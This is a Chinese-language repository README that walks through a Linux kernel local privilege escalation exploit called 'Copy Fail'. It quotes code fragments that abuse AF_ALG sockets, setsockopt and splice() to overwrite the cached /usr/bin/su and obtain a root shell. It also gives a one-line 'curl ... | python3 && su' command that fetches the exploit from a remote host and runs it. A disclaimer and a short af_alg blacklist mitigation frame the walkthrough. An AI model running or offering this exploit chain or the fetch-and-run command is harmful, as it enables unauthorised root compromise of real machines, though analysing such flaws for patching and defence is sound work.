本仓库仅用于教育和网络安全研究目的。 分析该漏洞利用代码是为了理解底层漏洞、促进补丁修复以及制定防御策略。请勿将其用于您不拥有或未经明确授权测试的系统。
“Copy Fail”是 Linux 内核中发现的一个严重本地权限提升(LPE)漏洞。它允许非特权用户通过利用内核在处理文件系统与异步加密 API(AF_ALG)之间内存操作时的缺陷来获取 root 访问权限。
所提供的 Python 漏洞利用程序结合了晦涩的 Linux 系统调用和接口,在内核内存中实现任意越界(OOB)写入,进而转化为磁盘上的任意文件写入。
以下是攻击链的逐步分解:
AF_ALG 接口初始化a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
该脚本创建了一个 AF_ALG 套接字(系列 38)。该接口允许用户空间应用程序将加密操作卸载到内核。它特别请求了一个 AEAD(带关联数据的认证加密)密码链,结合了 HMAC-SHA256 和 CBC-AES。
setsockopt 实现状态混淆v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
该脚本使用 setsockopt 操纵套接字的内部状态。十六进制载荷和 None 参数经过精心构造,以触发内核加密 API 缓冲区管理中的边界条件或整数溢出。这会在内核内部“安全地”使复制操作失败,使套接字处于不一致、易受攻击的状态。
splice() 进行零拷贝数据传输n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
这是漏洞利用的核心。splice() 并非将数据读入用户空间再写回,而是完全在内核空间中直接在文件描述符之间移动数据。
该脚本打开 /usr/bin/su(一个 SUID root 二进制文件),并尝试将数据从其中拼接(splice)到配置错误的 AF_ALG 套接字中。由于第 2 步中套接字状态已被破坏,内核的边界检查在此零拷贝操作期间失败。
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
该脚本解压一个压缩载荷(可能是一个小型 shellcode 或修改后的二进制数据块)。它进入一个循环,每次将 4 字节的载荷发送到被破坏的套接字缓冲区中。由于边界检查失败,这些 4 字节写入会落在内核页缓存中的任意偏移位置——即 /usr/bin/su 被加载的确切内存空间。
g.system("su")
通过覆盖页缓存中 /usr/bin/su 版本内的特定指令指针或逻辑检查,攻击者修改了该二进制文件的行为。当调用 system("su") 时,它会执行修改后的 SUID 二进制文件。该二进制文件以 root 身份运行,但跳过了标准密码验证,直接将攻击者带入 root shell。
在您的 Linux 系统中下载并运行 copyfail.py,或使用以下 curl 请求快速运行
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: 如果您的负载不需要加密卸载,请通过在 /etc/modprobe.d/blacklist.conf 中添加 blacklist af_alg 来禁用 af_alg 内核模块。splice()、socket()(特别是系列 38)和 setsockopt() 的能力。